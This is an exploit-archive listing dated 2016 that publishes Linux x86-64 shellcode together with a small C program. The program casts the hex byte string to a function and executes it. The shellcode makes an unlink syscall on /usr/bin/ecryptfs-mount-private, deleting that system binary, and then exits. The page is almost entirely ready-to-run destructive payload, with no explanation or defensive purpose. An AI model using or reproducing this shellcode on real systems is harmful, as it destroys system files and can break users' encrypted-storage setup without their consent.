Linux/x86-64 unlink ecryptfs-mount-private Shellcode



EKU-ID: 5363 CVE: OSVDB-ID:
Author: expku Published: 2016-01-26 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


/*
  
     
   64-bit x86/linux unlink ecryptfs-mount-private
   This has been done in a very bad mood
  
    Greetings
    --srm
*/
  
#include <stdlib.h>
  
#define SC "\xeb\x19\x48\x31\xc0\x48\x31\xff\x48\x83\xc0\x57\
\x5f\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\
\xe8\xe2\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x65\
\x63\x72\x79\x70\x74\x66\x73\x2d\x6d\x6f\x75\x6e\x74\x2d\x70\
\x72\x69\x76\x61\x74\x65"
  
int main () {
    int (*fckvs)();
    fckvs = (int(*)())SC;
    printf("%d\n", strlen(SC));
    (int)(*fckvs)();
    return 0;
}